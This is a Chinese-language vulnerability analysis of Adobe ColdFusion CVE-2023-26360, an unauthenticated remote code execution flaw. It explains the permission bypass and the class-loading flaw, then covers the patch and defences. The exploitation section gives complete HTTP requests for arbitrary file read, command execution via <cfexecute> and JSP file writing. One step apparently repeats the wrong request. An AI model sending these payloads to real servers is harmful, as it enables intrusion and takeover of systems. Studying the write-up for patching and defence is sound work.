Adobe ColdFusion未授权RCE漏洞分析CVE-2023-26360
字数 1755 2025-08-18 11:36:48
Adobe ColdFusion未授权RCE漏洞分析(CVE-2023-26360)技术文档
漏洞概述
CVE-2023-26360是Adobe ColdFusion中存在的一个未授权远程代码执行(RCE)漏洞,影响以下版本:
- Adobe ColdFusion 2018版本 < 2018.0.16
- Adobe ColdFusion 2021版本 < 2021.0.6
该漏洞允许攻击者在无需认证的情况下,通过特制请求实现任意文件读取、文件写入和远程代码执行。
漏洞分析环境
- 分析版本:Adobe ColdFusion 2018.0.15
- 漏洞利用入口:
/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc
漏洞原理分析
路由处理流程
- 请求首先由
coldfusion.bootstrap.BootstrapServlet处理 - 实际处理类为
coldfusion.xml.rpc.CFCServlet - 权限检查存在绕过问题:
- 使用
IPFilterUtils.checkAdminAccess()进行权限检查 - 检查逻辑使用
req.getRequestURI()和startsWith()判断 - 可通过路径变形绕过(如
/CFIDE//adminapi)
- 使用
关键处理流程
-
GlobalsFilter:
- 初始化请求信息
- 封装请求数据到不同scope中
-
ComponentFilter:
- 需要设置
_cfclient=true触发漏洞点 FilterUtils.GetArgumentCollection(context)处理用户请求数据- 存在WDDX反序列化操作(CVE-2023-29300)
- 数据传递给
JSONUtils.deserializeJSON()处理
- 需要设置
核心漏洞点
-
JSONUtils.deserializeJSON()函数:- 从用户请求中获取
classname参数 - 传递给
TemplateProxyFactory.resolveFile()处理
- 从用户请求中获取
-
TemplateProxyFactory.resolveFile():- 根据指定路径加载类文件
- 非标准Java字节码文件会被自动编译
- 编译后的类继承自
coldfusion.runtime.CFPage - 最终调用新编译类的
runPage()方法
-
文件处理特性:
- 编译后的文件缓存至
/app/WEB-INF/cfclasses/目录 - 支持路径遍历(如
../../../../etc/passwd)
- 编译后的文件缓存至
CFML语言利用
ColdFusion使用CFML(ColdFusion Markup Language)语言,包含危险函数:
- 文件操作:
<cffile action="write"> - 命令执行:
<cfexecute> - 文件读取:
<cffile action="read">
漏洞利用方法
任意文件读取
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
_variables={"_metadata":{"classname":"../../../../../../../../../../../../../etc/passwd"}}
命令执行
- 写入命令到日志文件:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded
_variables=<cfexecute name='id' outputFile='/tmp/aaa' ></cfexecute>
- 执行日志文件中的命令:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded
_variables={"_metadata":{"classname":"../../../../../../../../../../../../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log","_variables":[]}}
文件写入
- 写入文件:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded
_variables=<cfscript>fileWrite('/opt/coldfusion/cfusion/wwwroot/cf_scripts/demo.jsp','<%=233%>');</cfscript>
- 执行写入的文件:
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: 127.0.0.1:8500
Content-Type: application/x-www-form-urlencoded
_variables={"_metadata":{"classname":"../../../../../../../../../../../../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log","_variables":[]}}
补丁分析
官方修复方式:
- 限制
cfclient请求的文件后缀必须为.cfc - 只能请求服务器上已有的cfc文件
防御建议
-
及时升级到安全版本:
- Adobe ColdFusion 2018 >= 2018.0.16
- Adobe ColdFusion 2021 >= 2021.0.6
-
网络层面防护:
- 限制对
/cf_scripts/路径的访问 - 实施严格的输入验证
- 限制对
-
系统层面:
- 最小化ColdFusion运行权限
- 定期审计日志文件
参考链接
- https://blog.securelayer7.net/unauthorized-rce-in-adobe-coldfusion/
- https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis
- https://shfsec.com/cve-analysis-adobe-coldfusion-from-lfi-to-rce-cve-2023-26359-cve-2023-26360